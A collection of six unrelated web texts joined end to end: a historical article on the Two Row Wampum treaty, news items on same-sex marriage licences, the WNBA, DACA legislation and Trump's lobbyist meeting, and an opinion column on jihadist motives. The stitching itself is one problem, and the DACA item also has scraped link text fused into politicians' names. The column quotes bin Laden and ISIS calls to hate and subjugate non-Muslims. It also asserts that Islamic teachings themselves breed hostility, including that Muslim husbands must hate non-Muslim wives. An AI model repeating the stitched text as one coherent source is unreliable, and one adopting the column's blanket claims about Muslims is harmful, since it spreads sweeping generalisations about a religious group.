"Contemporary Haudenosaunee oral tradition identifies the original elaboration of kaswentha relations between Iroquois nations and Europeans with a circa 1613 agreement negotiated between Mohawks and a Dutch trader named Jacob Eelckens at Tawagonshi, as a precursor to the formal establishment of Dutch Fort Nassau at nearby Normans Kill."[13] According to Parmenter, "Dating of the original agreement prior to circa 1620 finds support in [a] 1701 recitation, in which Haudenosaunee delegates described their original agreement with the Dutch occurring 'above eighty years' prior to that date, and in 1744 Onondaga headman Canasatego dated the origin of the relationship to "above One Hundred Years Ago'."[14]
Parmenter has investigated the extent to which Haudenosaunee oral tradition is corroborated by surviving documentary (written) records and found that "the documentary evidence, considered in the aggregate, reveals a striking degree of consistency over time in the expression of fundamental principles of the kaswentha tradition by Haudenosaunee speakers", with "the fullest single written source that corroborates the early seventeenth-century origins of a kaswentha relationship between Iroquois nations and the Dutch appear[ing] in [...] 1689".[15] And the earliest record of Haudenosaunee speakers explicitly mentioning or reciting the kaswentha tradition before Anglo-American and French colonial audiences dates to more than 30 years before this, in 1656 (43 years after the putative origin of the treaty in 1613).[16]
While the evidence that the Haudenosaunee and the Dutch entered into some kind of political or economic agreement in the early seventeenth century is overwhelming, some historians have found reasons to be cautious about assuming the nature of that agreement was formal and treaty-like. The Dutch, for example, may not have recognized their agreement with the Haudenosaunee as a "treaty" in the way that Haudenosaunee tradition remembers it, and may instead have seen their agreement as something less official and more contingent. Mark Meuwese has examined the history of Dutch-Indigenous relations in Africa and Brazil and found that, before 1621, "Dutch traders did not conclude treaties with Native peoples in the Atlantic world. Various agreements and alliances were made, but these took place only when specific factors were involved — the threat of Iberian intervention and the presence of centralized political orders among Indigenous peoples, factors that were not present in North America."[17] Similarly, examining Dutch language sources pertaining to early Dutch trade voyages to the Hudson River and other areas in the mid-Atlantic region, Jaap Jacobs finds that "Dutch traders would have had no need to make a treaty with local Indian groups on behalf of the Dutch nation and there is no indication that they did so. On the other hand, there is good reason to believe that Dutch traders and local Native people would have made some sort of agreement as indicated by the Dutch building of the Fort Nassau on native lands and the Kleyntjen affair."[18] Jacobs concludes (along with Paul Otto) that[19]
whatever agreements or negotiations traders such as Jacob Eelkens and Hendrick Christiansen may have made with Native peoples, these could not be construed, at least in European terms, as diplomatic treaties between sovereign nations. [... This] does not, however, discredit the tradition of an agreement between Dutch and Iroquois representatives that would later became the basis for Anglo-British and then American negotiations with the Iroquois. The historical context does make it unlikely, at best, that such an event happened in the 1610s. The claim that 2013 is the four-hundredth anniversary of a first covenant is therefore not corroborated by historical research. However, after the 1621 establishment of the West India Company and particularly after the end of the Mohawk-Mahican War four years later, the context for such an enduring agreement is far more probable.
Nevertheless, Haudenosaunee tradition records not only the existence of a treaty, but its specific meaning, in the form of a Haudenosaunee reply to the initial Dutch treaty proposal:[20]
You say that you are our Father and I am your Son. We say 'We will not be like Father and Son, but like Brothers.' This wampum belt confirms our words. [...] Neither of us will make compulsory laws or interfere in the internal affairs of the other. Neither of us will try to steer the other's vessel.
The treaty is considered by Haudenosaunee people to still be in effect.[1] The Haudenosaunee tradition states:[21]
As long as the Sun shines upon this Earth, that is how long our Agreement will stand; Second, as long as the Water still flows; and Third, as long as the Grass Grows Green at a certain time of the year. Now we have Symbolized this Agreement and it shall be binding forever as long as Mother Earth is still in motion.
The Wampum Belt(s) [ edit ]
Wampum belts of the two-row style are merely one of many methods of representing in physical form the diplomatic and economic agreements implicit in the kaswentha relationship.
There is clear evidence of Haudenosaunee use of wampum for diplomatic functions during the pre-contact period,[22] while the post-contact period saw "increasing significance of wampum as a material form to facilitate communication across cultural boundaries".[23] Early evidence for wampum in the region indicates that the dominant style was a relatively simple, monochrome design, often with discoidal beads strung together (rather than tubular beads woven together). Historians debate whether or not the technology required to construct the sophisticated two-row style wampum belt (including, most importantly, tubular purple beads) was available to communities in the region prior to 1613;[24] however, Parmenter indicates that archeological evidence does not rule out the possibility that two-row wampum belts may have featured in the initial treaty negotiations between the Dutch and the Haudenosaunee.[25]
The significance of the two-row style of wampum, according to Parmenter, is that it captures the original "ship and canoe" metaphor present in the Haudenosaunee understanding of the kaswentha relationship. Parmenter explains how this "ship and canoe" metaphor is one of many "media" by which the Haudenosaunee have represented pictorially their relationship to European newcomers over the centuries, with other media including "a piece of tree bark or rope" and (later) images of an iron chain and, eventually, a burnished silver and/or covenant chain.[26] But of these, it is the "ship and canoe" conception of the kaswentha relationship that is the deepest and most significant, and it is the two-row wampum that is understood to represent this conception most powerfully, with two rows of purple wampum beads against a background of white beads,[1] each row representing a parallel river, down which the respective vessels of each people travel, independently but in mutual support of each other.[27]
The question of what materials — wampum or otherwise — were exchanged at the initial negotiations of the treaty cannot be answered definitively. While it is possible that a two-row wampum belt featured in the initial treaty negotiations, there is no documentary evidence to support this claim. There is, however, evidence in the form of Haudenosaunee oral tradition that wampum belts featured, if not in the original negotiations, then at least in the earliest rituals of renewal (of which there were many) between the Haudenosaunee and the Dutch (later the British). According to Parmenter:[28]
Three of the Haudenosaunee recitations (1656, 1722, and 1744) associate the agreement directly with wampum belts, and Johnson punctuated his 1748 recitation with a "large Belt of Wampum". Exchanges of wampum belts also occurred commonly in association with renewals of the alliance at treaty negotiations in which neither Iroquois nor New York authorities were recorded making explicit recitations of the kaswentha tradition. On two such occasions the sources refer to a "Chain Belt," but no documented example provides a specific correlation with a Two Row-patterned belt.
While most of the earliest recorded recitations of the kaswentha relationship between the Haudenosaunee and the Dutch do not mention wampum belts specifically, descriptions "of wampum belts in documentary sources, particularly from the early period of contact, are notoriously vague."[29] Moreover, as artifacts wampum belts were extremely prone to deterioration and disassembly,[30] so there is no expectation that early belts should have survived had they in fact been exchanged in the early seventeenth century.
In any event, by 1870 the image of the two-row wampum belt had come to symbolize for the Haudenosaunee their ongoing treaty and kaswentha relationship with the Dutch crown.[31]
Beyond the direct evidence represented by the recitations, additional documentary sources amplify our confidence in the deep roots of the fundamental concepts of the kaswentha relationship: its beginnings in the early decades of the seventeenth century, its rhetorical framing in terms of an "iron chain" forged and renewed with the Dutch prior to 1664, and its early association with the "ship and canoe" discourse present in the explicit "Two Row" articulations of the tradition that appear after circa 1870. It is important to point out that the while the language of the "chain" connecting the two peoples persisted in recitations of the tradition over time, it never supplanted the "ship and canoe" language characteristic of Haudenosaunee understandings of kaswentha. As illustrated in the recitations [...], the idea of a rope, and later a "chain" of iron, then silver represented a critical component of the tradition that bound the two peoples together in friendship as a necessary precursor to the kind of relationship embodied by two vessels travelling along a parallel route. The latter idea, in other words, related to the former concept – the two were neither incompatible nor mutually exclusive.
Diana Muir Appelbaum has written that:[32]
there is no evidence that such a thing as an "original" two-row wampum belt ever existed. Nor is there any evidence of the existence of a 1613 treaty beyond a claim traceable to a document forged in the 1960s by a historian who collected and wrote about old manuscripts.
Indeed, no documentary evidence (including wampum, which is very fragile) survive from the original treaty negotiations of 1613. But, as Parmenter points out:[33]
Evidence of Haudenosaunee and European recitations of the kaswentha tradition indicates clearly that the remarkable durability over time of ideas associated with a Two Row relationship does not depend on the legitimacy of a single document and that Haudenosaunee and contemporary Europeans "verbalized" these ideas long before the late nineteenth century. [...] Kaswentha relations were not static – they evolved over time as ties between the Iroquois and the Dutch (and the latter's English and American successors) deepened and sociopolitical circumstances grew more complex – but they did exist. Indeed, [...] it is incumbent upon all scholars considering the historicity of indigenous (not only Haudenosaunee) oral traditions (especially regarding something as fundamentally significant as kaswentha), to do more than simply identify a single document as a fake, or to set the bar for evidentiary proof of a concept's existence to practically impossible standards – such as requiring a surviving "physical" Two Row belt from the colonial era that can be explicitly associated with a documentary source.
Oral tradition [ edit ]
Onondaga leaders state that the oral tradition which accompanies the wampum belts is evidence that an agreement was made in 1613.[1] Andy Mager of the Syracuse Peace Council was quoted in The Post-Standard as saying “We believe the Haudenosaunee oral history of the treaty...We believe the basic outlines of a treaty and that a treaty was negotiated between representatives of the Dutch and the Haudenosaunee in or around 1613.”[1]
Interpretations of the treaty [ edit ]
Oren Lyons describes the Two Row Treaty at the UN, August 9, 2013.
The Netherlands have been called upon as allies by Haudenosaunee in international affairs, notably at the League of Nations in 1923 in a conflict with Canada over membership and at the United Nations in 1977, requesting the Haudenosaunee passport to be honored internationally. The Dutch government honored the passport until 2010. It remains unclear if the policy will be changed in recognition of the 400th anniversary of the treaty.[34] In September 2013, three Haudenosaunee leaders traveled to the Netherlands for an official visit in recognition of the anniversary, traveling on Haudenosaunee passports.[35][36]
The Two Row Wampum continues to play a role in defining the relationship between citizens of New York State and Haudenosaunee residents of the region. In 2006, a dispute over whether Onondaga Nation students could be permitted to wear native regalia at their graduation ceremony at Lafayette High School in LaFayette, New York, was resolved in part through the school board's consideration and application of the principles of the Two Row Wampum.[37]
Larger disputes concerning extant treaties based on the Two Row Wampum, such as the Treaty of Canandaigua, remain unresolved through litigation and pending land claims.
The Two Row Treaty contradicts the 15th Century papal Doctrine of Discovery, which decreed that Christian European nations could seize lands of non-Christian peoples whom they encountered in the New World. Modern legal rulings, including a 2005 decision by the US Supreme Court against Haudenosaunee plaintiffs, continue to hinge on that religious doctrine, and Two Row Treaty supporters promote the treaty as a legal standard to replace it.[38][39]
Supporters of the Two Row Wampum Treaty note that it conveys a respect for the laws of nature and thus an obligation for ecological stewardship. The treaty has been cited as an inspiration to clean up polluted waters such as Onondaga Lake and the Mohawk River. “Water is sacred, like all parts of creation,” said Freida Jacques, an Onondaga Clanmother. “All life relies on it. It has a sacred duty, given to it by the Creator, to give all creation clean, fresh water.” [40]
Controversial written document [ edit ]
The Tawagonshi document. New York State Library/Manuscripts and Special Collections, L.G. van Loon Collection (SC16677).
The existence of an alleged written version of the treaty was first made public in an article in 1968 by documents collector L.G. van Loon.[1] He claimed to have acquired it from an unnamed person on the Mississaugua reserve[which?] in Canada.[1]
In 1987, academics Charles Gehring, William Starna, and William Fenton published an article in the New York History journal entitled “The Tawagonshi Treaty of 1613: The Final Chapter." Their theory is that this written version is a forgery because it contains what they argue are grammatical anachronisms; that a blend of handwriting styles from the 17th and 20th centuries is used; that the names of villages and not chiefs are used; and that the writing is "too smooth" to be made by a 17th-century quill pen.[1] Herkens writes that the document contains c. 40 grammatical anachronisms, and that on grammatical grounds it is likely that the text was written in the 20th century.[41] Given that Van Loon forged other pieces from the same period, they point to him as the most probable forger.[42][43] In 2013, linguistic experts Harrie Hermkens, Jan Noordegraaf, and Nicoline van der Sijs submitted the document to further linguistic and historical analysis, including its provenance and connection to Lawrence G. Van Loon. They also found the document to contain "a significant number of anachronisms making it impossible for the text to have originated in 1613. Nor is it possible that it is a later copy of a document since lost."[44]
Robert Venables, a retired Cornell University professor, is among those who remain convinced that the document version is also valid,[1] and concurs with other scholars who point out that any inconsistencies in language and pen strokes can be explained by the fact that it was copied by hand years after 1613.[1]
The document was given to the Onondagas and remains near Syracuse, New York.[1]
400th Anniversary Celebration [ edit ]
First paddlers arrive at Kanatsiohareke, with Sakokwenionkwas Tom Porter, July 2013.
In July and August 2013, hundreds of Native Americans and their allies took part in a river journey to recognize and renew the Two Row Wampum Treaty. Canoeing and kayaking across New York State, the participants called attention to the treaty and its significance for native land rights and environmental protection. The paddlers traveled from Onondaga, birthplace of the Haudenosaunee league, along the Mohawk and Hudson rivers to New York City, ending at a special session at the United Nations. The anniversary journey brought world attention to the Two Row Treaty.[40][45][46]
Organized by the Onondaga Nation and Neighbors of the Onondaga Nation (NOON), the renewal journey covered over 300 miles, with public events at sites including Kanatsiohareke Mohawk Community, Albany, Poughkeepsie, and Beacon NY, where Native leaders and public officials discussed the treaty and its bearing on current issues. On August 9, the paddlers arrived in New York City to attend a UN session for Indigenous Peoples Day with Secretary General Ban Ki-moon and member state representatives. At the session, UN officials underscored the UN’s role as a peacemaker, negotiator, and advocate for treaty rights. Oren Lyons, a diplomat from the Onondaga Turtle Clan, described the Two Row Treaty as the foundation for all Haudenosaunee treaties, many since broken by New York State, the US and Canada. UN representatives from Panama and Bolivia described their work to restore land to native ownership and protection. The UN Secretary for Human Rights outlined the UN’s goal to redress treaty violations, treat them as human rights violations, and help enforce treaties like the Two Row in the future.[47][48][49]
See also [ edit ]
References [ edit ] |
A Charleston County probate judge Irvin G. Condon began accepting marriage license applications for same-sex couples on Wednesday morning. The judge was asked Thursday morning to refrain from releasing those licenses until the Supreme Court made a decision on the issue.
This latest move comes as the same-sex couple from Charleston who were the first to apply for a marriage license continues to wait for their license following the lapse of a 24-hour waiting period.
Charleston County Councilwoman Colleen Condon, 44, and her fiance, 43-year-old Nichols Bleckley, who were at the Supreme Court and the Charleston County marriage license office, respectively, said they weren't surprised to hear the latest news, but they were disappointed.
"This is exhausting," Condon said. "I'm an elected official, so luckily I'm used to dealing with the press. I'm a lawyer, so at least I'm used to dealing with the law, but this is overwhelming."
Condon went as far to compare Attorney General Alan Wilson to former Alabama Gov. George Wallace, who famously and personally blocked several African-American students from entering the University of Alabama during the height of the civil rights movement.
"While there is no one physically standing in the way of giving us our marriage license, Alan Wilson as far as I'm concerned is doing the exact same thing," Condon said. "He might as well be standing in front of the door of this very building telling me I can't get my marriage license. It's the exact same thing."
Wilson asked the courts for a decision late Wednesday evening after Judge Condon accepted 25 same-sex marriage applications with approval for a license following the waiting period.
Condon also filed a motion against Wilson on Thursday morning."I was certainly disappointed Alan Wilson decided to get involved and say somehow the [Bradacs vs. Haley] case about benefits -- I love it -- benefits for a state trooper are the same as my right to get married, but that's different from getting a marriage license from the state of Virginia," Condon said.
Copyright 2014 WIS. All rights reserved. |
Originally published by PJ Media.
Raymond Ibrahim is a Shillman Fellow at the David Horowitz Freedom Center.
A decade after U.S. leadership declared a “war on terror,” all it has to show for it is the creation of the Islamic State—an Islamic body that has taken terror and atrocities to a whole new level.
How did this happen?
A key factor often overlooked is the intelligence community’s failures concerning what fuels the jihadis.
Consider Michael Scheuer, author of the 2004 national bestseller Imperial Hubris: Why the West Is Losing the War on Terror. Scheuer’s credentials as described in that book are impressive: “For the past seventeen years, my career has focused exclusively on terrorism, Islamic insurgencies, militant Islam… I have earned my keep and am able to speak with some authority and confidence about Osama bin Laden, al-Qaeda, [and] the dangers they pose and symbolize for the Unites States…” Indeed, Scheuer also served as Senior Adviser for the Osama Bin Laden Department and Chief of the Sunni Militant Unit.
The fundamental thesis of his book was that al-Qaeda’s terrorism is a reaction to U.S. foreign policies: “Bin Laden has been precise in telling America the reasons he is waging war on us. None of the reasons have anything to do with our freedom, liberty, and democracy, but everything to do with U.S. policies and actions in the Muslim world,” wrote Scheuer.
As proof, he regularly quoted bin Laden’s messages to the West, which did in fact validate Scheuer’s assessment. He went on to compare bin Laden, that jihadi terrorist, to heroes like Robin Hood and even Saint Francis of Assisi, and concluded that al-Qaeda’s war revolves around “love”:
Bin Laden and most militant Islamists, therefore, can be said to be motivated by their love for Allah and their hatred for a few, specific, U.S. policies and actions they believe are damaging—and threatening to destroy—the things they love. Theirs is a war against a specific target, and for specific, limited purposes. While they will use whatever weapon comes to hand—including weapons of mass destruction—their goal is not to wipe out our secular democracy, but to deter us by military means from attacking the things they love. Bin Laden et al are not eternal warriors.
American liberals, academics, politically correct media, politicians, and government—in a word, the establishment—willingly embraced and regurgitated this Muslim grievance thesis which, while not original to Scheuer, certainly received a boost thanks to his book.
It was in this context that I sought to translate al-Qaeda’s Arabic writings that I discovered in 2004 while working at the Library of Congress. As opposed to the carefully crafted communiques al-Qaeda was sending to the West—which were presented without context and accepted hook, line, and sinker by many so-called “experts”—these arcane writings were directed to fellow Muslims. They made perfectly clear al-Qaeda’s ultimate motive in attacking the West: Islam’s commands for Muslims to hate and subjugate the non-Muslim, or “infidel.”
Here’s a sampling of what bin Laden was writing to fellow Muslims, even as he was duping Western analysts with talk of “grievances”:
As to the relationship between Muslims and infidels, this is summarized by the Most High’s Word: “We renounce you. Enmity and hate shall forever reign between us—till you believe in Allah alone.” So there is an enmity, evidenced by fierce hostility from the heart. And this fierce hostility—that is, battle—ceases only if the infidel submits to the authority of Islam, or if his blood is forbidden from being shed [i.e., a dhimmi], or if Muslims are at that point in time weak and incapable [in which case, bin Laden later clarifies, they should dissemble (taqiyya) before the infidels by, say, portraying their violence as a product of “grievances”]. But if the hate at any time extinguishes from the heart, this is great apostasy!… Such, then, is the basis and foundation of the relationship between the infidel and the Muslim. Battle, animosity, and hatred—directed from the Muslim to the infidel—is the foundation of our religion (The Al Qaeda Reader, p. 43).
Bin Laden also asked and answered the pivotal question:
Does Islam, or does it not, force people by the power of the sword to submit to its authority corporeally if not spiritually? Yes. There are only three choices in Islam: either willing submission; or payment of the jizya [tribute], through physical though not spiritual submission to the authority of Islam; or the sword—for it is not right to let him [an infidel] live.
How does one square such clear assertions with Scheuer’s claims that “None of the reasons [for al-Qaeda’s antipathy] have anything to do with our freedom, liberty, and democracy”? I raised this question in a 2008 article criticizing Scheuer’s claims about al-Qaeda’s motivations.
In response, Scheuer lashed out in the comments section of my article (see my full response to him here). Instead of acknowledging that al-Qaeda’s own words damned his thesis, the man who insisted Islamic terrorism was a product of “imperial hubris” exhibited a sort of impervious hubris—impervious to facts and reality, that is. He sarcastically wrote:
Mr. Ibrahim’s Al Qaeda Reader is an excellent example of what passes for solid analysis and intellectual honesty among Neo-conservatives…. In this highly selective collection, Mr. Ibrahim picks and chooses from the enormous corpus of writings, statements, and interviews by bin Laden and al-Zawahiri to produce a slim volume which he claims will once and for all prove that Al Qaeda and its allies are bent on imposing a worldwide Caliphate to be governed by what the Necons are pleased to call Islamo-fascism… [T]he book deliberately misleads an America public…
For the record, my “slim volume” is 320 pages long. As for it being a “highly selective collection,” the book is actually the most balanced of its kind, as it presented al-Qaeda’s releases to the West and its exhortations to its Muslim followers. For example, whereas Bruce Lawrence’s Messages to the World: The Statements of Osama Bin Laden (2005), complemented Scheuer’s grievance paradigm by only presenting al-Qaeda’s propaganda communiques to the West, The Al Qaeda Reader juxtaposes both the terrorist group’s doctrinal writings to fellow Muslims (as quoted above) and its grievance claims to the West, giving the reader a more complete picture.
At any rate, now, a decade later, the “why do they hate us” question has been settled by those best positioned to settle it: the Islamic State, or al-Qaeda 2.0. In a recent article titled “Why We Hate You & Why We Fight You,” the Islamic State gives six reasons. Reason number one says it all:
We hate you, first and foremost, because you are disbelievers; you reject the oneness of Allah – whether you realize it or not – by making partners for Him in worship, you blaspheme against Him, claiming that He has a son [Christ], you fabricate lies against His prophets and messengers, and you indulge in all manner of devilish practices. It is for this reason that we were commanded to openly declare our hatred for you and our enmity towards you. “There has already been for you an excellent example in Abraham and those with him, when they said to their people, ‘Indeed, we are disassociated from you and from whatever you worship other than Allah. We have rejected you, and there has arisen, between us and you, enmity and hatred forever until you believe in Allah alone’” (Al-Mumtahanah 4 [i.e., Koran 60:4, the same verse bin Laden quoted above]). Furthermore, just as your disbelief is the primary reason we hate you, your disbelief is the primary reason we fight you, as we have been commanded to fight the disbelievers until they submit to the authority of Islam, either by becoming Muslims, or by paying jizyah – for those afforded this option [“People of the Book”] – and living in humiliation under the rule of the Muslims [per Koran 9:29].
It is only in reasons five and six that ISIS finally mentions “grievances” against Western foreign policies—only to quickly clarify:
What’s important to understand here is that although some might argue that your foreign policies are the extent of what drives our hatred, this particular reason for hating you is secondary, hence the reason we addressed it at the end of the above list. […] The fact is, even if you were to stop bombing us, imprisoning us, torturing us, vilifying us, and usurping our lands, we would continue to hate you because our primary reason for hating you will not cease to exist until you embrace Islam. Even if you were to pay jizyah and live under the authority of Islam in humiliation, we would continue to hate you [emphasis added].
It is this unrelenting hatred that many Westerners cannot comprehend; a hate that compels Muslim husbands to hate their non-Muslim wives and America’s “friends and allies,” such as Saudi Arabia and Qatar, to publish government sanctioned decrees openly proclaiming their hate for America, because it is not Islamic.
And it was always this hate that fueled al-Qaeda’s jihad—not grievances.
Incidentally, it’s worth noting that in Scheuer’s response to me, he mocked the idea that the caliphate would be resurrected—which I had predicted—claiming that “the Islamists know that it is as unlikely to appear in their or their grandsons’ lifetimes as Christians know that a uniform world of turning-of-the-cheek or loving-thy-neighbor is at best light years over the horizon.” Likewise in Imperial Hubris he wrote: “At this point in history, we need worry little about the threat of an offensive and expansionist jihad meant to conquer new lands for Islam and convert new peoples to the faith” (page 7).
Really? Tell that to the many non-Muslims and non-Sunnis—Christians, Yazidis, Druze, Shia—who have been enslaved, raped, slaughtered, burned and buried alive, as the caliphate expanded into their territories over the last couple of years.
All of this was enabled by the West’s embrace of the “grievance” theory, championed not created by the likes of Scheuer. It ran its course and was behind abysmal policies meant to pacify aggrieved Muslims—such as wholesale support for the “Arab Spring,” which saw the Obama administration turn its back on 30-year-long allies such as Egypt’s secular Mubarak in favor of the Muslim Brotherhood. The grievance theory is partially responsible for why, a decade after the U.S. started bringing “freedom and democracy” to this and that Muslim nation—Iraq, Egypt, Libya, ongoing in Syria—specifically by ousting secular dictators long experienced at suppressing jihadis, all that the most powerful and freedom loving nation in the world has to show for it is the creation of the Islamic State.
Even so, the impervious hubris continues. Instead of accepting the hard facts—Islamic hostility is a product of Islamic teachings—the Obama administration, including the CIA, continue invoking the “grievance” and related memes concerning ISIS. Democratic presidential candidate Hillary Clinton said that it’s important to be “showing respect even for one’s enemies, trying to understand and insofar as psychologically possible, empathize with their perspective and point of view,” that is, empathize with their grievances?
Clinton said this at Georgetown University, which is fitting. For, you may ask, where is Michael Scheuer now—this man who did not have to wait for our “grandsons’ lifetimes” to see just how much he got wrong? He’s where all who excel at denying Islam has any connection to violence for the other: teaching a future generation of “terrorism experts” at Georgetown University. |
LOS ANGELES >> The best basketball player in Los Angeles began Friday night’s game with a steal and a layup.
She ended Friday night’s game with a simple rim-run, from baseline to baseline, so she could finish a fast break, when her team led by only one point.
The Sparks beat San Antonio, 71-65, and ended the WNBA regular season with a 26-8 record. Coach Brian Agler was asked his choice for MVP of the league by people who already knew the answer was Nneka Ogwumike.
“First, she’s having a historic offensive season, the most efficient season in the history of the league,” Agler said. “Then you take the things I see with her leadership every day.
“Then she’ll probably be All-Defense on top of everything else. Who’s done that in the past? Tamika Cathings and Lauren Jackson, and that’s it. Think about that.”
Ogwumike put up 17 points, 10 rebounds and four assists against San Antonio. She averages 19.8, eight and three. She ranks third in the league in scoring and third in rebounds, in her third WNBA season, and her league-leading field goal percentage actually took a hit when she went 6 for 10, falling to .664.
At Dallas on June 11, she made all 12 shots from the field and all seven from the foul line. Against Chicago three nights later, she made 12 of 14.
Her workplace is the deep paint, but those aren’t easy shots when you’re 6-foot-2. Ogwumike scores with either hand and from all existing angles, and she’s strong enough to get to the line 168 times. She makes 86.5 percent of those.
Ogwumike might sneak up on the box score, but her nonstop motion captures all eyes. Rest assured she is a lot closer to the top of her league than anybody else around here is to hers, or his.
“My goal was to be more a leader this year,” Ogwumike said Thursday, after a Sparks practice at USC’s Galen Center. “I always prided myself on being a team player. But I also realized I’m no longer a rookie. I’m a veteran, so I can affect things on the court. Lead by example, hold people accountable. I guess I wanted to be more assertive.
“My teammates are the ones who told me about going 12 for 12. A big part of my game has always been efficiency. But at times when I focus on that, I’m not always as aggressive. I can’t be afraid to miss.”
Agler likes the way Ogwumike diversifies the Sparks’ defense by guarding the top gun every night. He cites a game against league-leading Minnesota in which she periodically checked Lindsay Whalen (5-9), Maya Moore (6-0) and Sylvia Fowles (6-6).
Minnesota is seeded No. 1 in the upcoming playoffs. The Sparks are No. 2. The Olympic break forced a different playoff matrix, in which both teams get a bye into the semifinals, which will be best of 5. The first two rounds are one-game knockouts, like the NCAA Tournament, which most WNBA players know well. Stanford went to the Final Four in all four of Ogwumike’s seasons.
Her dad Peter came from Nigeria to Houston and runs an information technology business. His wife Ify is an executive in the Houston school system. Nneka and Chiney Ogwumike both went to Stanford and both were taken No. 1 in the WNBA draft, the only siblings besides the Mannings to do that. Chiney averages 12.7 points with the Connecticut Sun.
Nneka’s wintertime job is with Dynamo Kursk, a Russian team coached by an American, Bo Overton. While there she plays and against WNBA players and lives a global life that the pioneers of the women’s game could not have imagined.
“Kursk has more of a suburban feel to it, and it’s a bit antiquated,” she said. “We practice twice a day, play two games a week and travel once a week, so it’s pretty regimented, but we go to cool places. This year we’re going to Prague, Krakow, Istanbul, which is always nice. Going to Mersin, on the Mediterranean coast, in Turkey.
“It’s fun because you meet new people who, in the WNBA, you might not normally be acquainted with. You make different friends, learn new languages. Although I only speak enough Russian to get through the day. I’m not having conversions. But I always indulge in different cultures. I look forward to it.”
Of course, you miss the NBA season in L.A. when you do that. Ogwumike leaves that up to Chris Paul, Blake Griffin, DeAndre Jordan and any Lakers who aspire. She’s done all she can.
Three facts:
1. Nneka Ogwumike had a career-high 38 points against Atlanta on June 30.
2. The Sparks began the season 14-0, then lost to Minnesota on June 21.
3. Ogwumike passed the career 2,500 point mark on Friday in the Sparks’ win over San Antonio. |
Lawmakers on both sides of the aisle are scrambling to find a legislative fix for the embattled Deferred Action for Childhood Arrivals (DACA) program, as it faces a crucial legal challenge.
DACA grants a work permit and protection from deportation to about 750,000 undocumented immigrants brought to the country as children.
Ten states, led by Texas Attorney General Ken Paxton (R), have threatened to challenge DACA in the courts unless the Trump administration cancels the program by September 5.
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The Trump administration has not said if it will defend the program in court.
Concerns that the program could be terminated by the administration or court ruling has led to a flurry of legislative proposals over the last two weeks designed to protect immigrants under the program, commonly known as Dreamers, through legal status or a path to citizenship if the program ends.
House Democrats presented the American Hope Act Friday, garnering 117 co-sponsors within the Democratic Caucus, so far.
And in a bipartisan move, earlier this week, Reps. Ileana Ros-Lehtinen (R-Fla.) and Lucille Roybal Allard (D-Calif.) presented a new version of the Dream Act, a bill that was first presented in 2001.
It's similar to a bill presented in the upper chamber by Sens. Lindsey Graham Lindsey Olin GrahamHouse to push back at Trump on border Trump pressures GOP senators ahead of emergency declaration vote: 'Be strong and smart' This week: Congress, Trump set for showdown on emergency declaration MORE (R-S.C.) and Dick Durbin Richard (Dick) Joseph DurbinKids confront Feinstein over Green New Deal Senate plots to avoid fall shutdown brawl Overnight Energy: Trump ends talks with California on car emissions | Dems face tough vote on Green New Deal | Climate PAC backing Inslee in possible 2020 run MORE (D-Ill.).
A bill presented by Rep. Carlos Curbelo (R-Fla.) in the House in March, the Recognizing America's Children (RAC) Act, is gaining support among centrist Republicans.
"There's an added urgency to deal with the Dreamers. As you know there's all these lawsuits out there now," said Rep. Mario Díaz-Balart (R-Fla.), a co-sponsor of the RAC Act.
In order to apply for DACA, potential beneficiaries were forced to register with the government, admit to being in the country illegally, and pass a background check.
That process has supporters of the program worried that the administration could turn that information into a deportation list if the program is ended administratively or by the courts.
"The administration has said they don't want to deport them, but the reality is if those lawsuits happen and succeed, then these are folks that have registered, so they're in a really precarious situation," said Díaz-Balart.
Trump renewed the program in a June memo but cancelled two other Obama-era executive orders on immigration, Deferred Action for Parents of Americans (DAPA) and an expansion of DACA.
Both of those programs were previously halted by their courts, so Trump's decision didn't directly affect any immigrants.
But immigrant-rights activists are making it a priority to protect DACA, and are pushing administration officials to weigh in on a legislative fix to protect Dreamers.
The appeals targeted John Kelly as Homeland Security secretary. Kelly on several occasions expressed his support for Dreamers while also questioning the legality of the program. But Kelly never supported any specific bill and was named Trump's White House chief of staff Friday, replacing Reince Priebus.
Before the Senate bill was unveiled, a White House spokesman said the administration had not supported earlier bills and was unlikely to do so.
"The fact that the president indicated he wouldn't sign it means to the secretary that it's not a viable option," said David Lapan, Kelly's spokesman, Tuesday. "[Kelly's] not going to support any legislation that’s not going to become law."
Still, Ros-Lehtinen and Roybal Allard unveiled their bill in hopes of sparking debate in the House.
Democratic Rep. Luis Gutierrez Luis Vicente GutierrezDHS to make migrants wait in Mexico while asylum claims processed Coffman loses GOP seat in Colorado Trump changes mean only wealthy immigrants may apply, says critic MORE (Ill.), a vocal advocate on immigration, has proposed his own bill, the Hope Act.
"Defense [of Dreamers] includes putting legislation that charts a way forward," said Gutiérrez at a press conference Friday.
Gutiérrez added he would support any of the bills put forward if they kept in place protections for DACA recipients and other young immigrants in similar situations.
Between 750,000 and 800,000 people have received DACA benefits and a Migration Policy Institute study found over one million people would benefit from the House version of the Dream Act.
Supporters of the bills insist they would pass if they received a floor vote.
"This doesn't have to be complicated," said Rep. Zoe Lofgren (D-Calif.). "The speaker makes the decision on what gets voted on, on the floor."
"I am confident that if the speaker makes a decision to put this bill on the floor we have time to debate it and pass it," she added.
A spokeswoman for Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) said any bills would have to make it through committee first.
Curbelo said it's his priority to convince the Republican Conference to bring a bill protecting Dreamers to the House floor.
"It's one of my goals for this Congress," Curbelo told The Hill earlier this month.
But it's unclear if lawmakers will be able to coalesce around any one bill.
Díaz-Balart said having multiple bills is a good first step.
"It's good to have markers out there. I think I have an idea as to how maybe we can get something done -- it is going to require that the stars line up," said Díaz-Balart.
"I think there may be opportunities, hopefully this year, to actually see some legislation take place," said Díaz-Balart. |
Donald Trump will assemble a group of high-powered lobbyists Thursday, so they can pitch him on their special interests behind closed doors at Trump Tower.
The “Trump Leadership Council,” as it has been dubbed, was formed to provide the presumptive Republican nominee with guidance on various industries. Thursday’s multi-hour meeting will include whirlwind rounds of presentations by America’s powerful defense, energy, healthcare, manufacturing, finance, and commerce industries, according to a source involved with planning the meeting.
But this gathering signifies a distinct change in the Trump campaign.
The business mogul has previously spurned lobbyists: in the early days of his campaign he bragged that he didn’t need to raise money from powerful special interests. “I don’t want lobbyists. I don’t want special interests,” he told CBS in August of last year.
Trump “turned down $5 million last week from a very important lobbyist,” he said in August, “because there are total strings attached to a thing like that. He’s going to come to me in a year or two years and he’s going to want something for a country that he represents or for a company that he represents.”
But in recent months he has sung a different tune, hiring Paul Manafort as a senior aide, despite his work for the so-called torturers’ lobby and bringing a bevy of other politicos with lobbying connections into the fold.
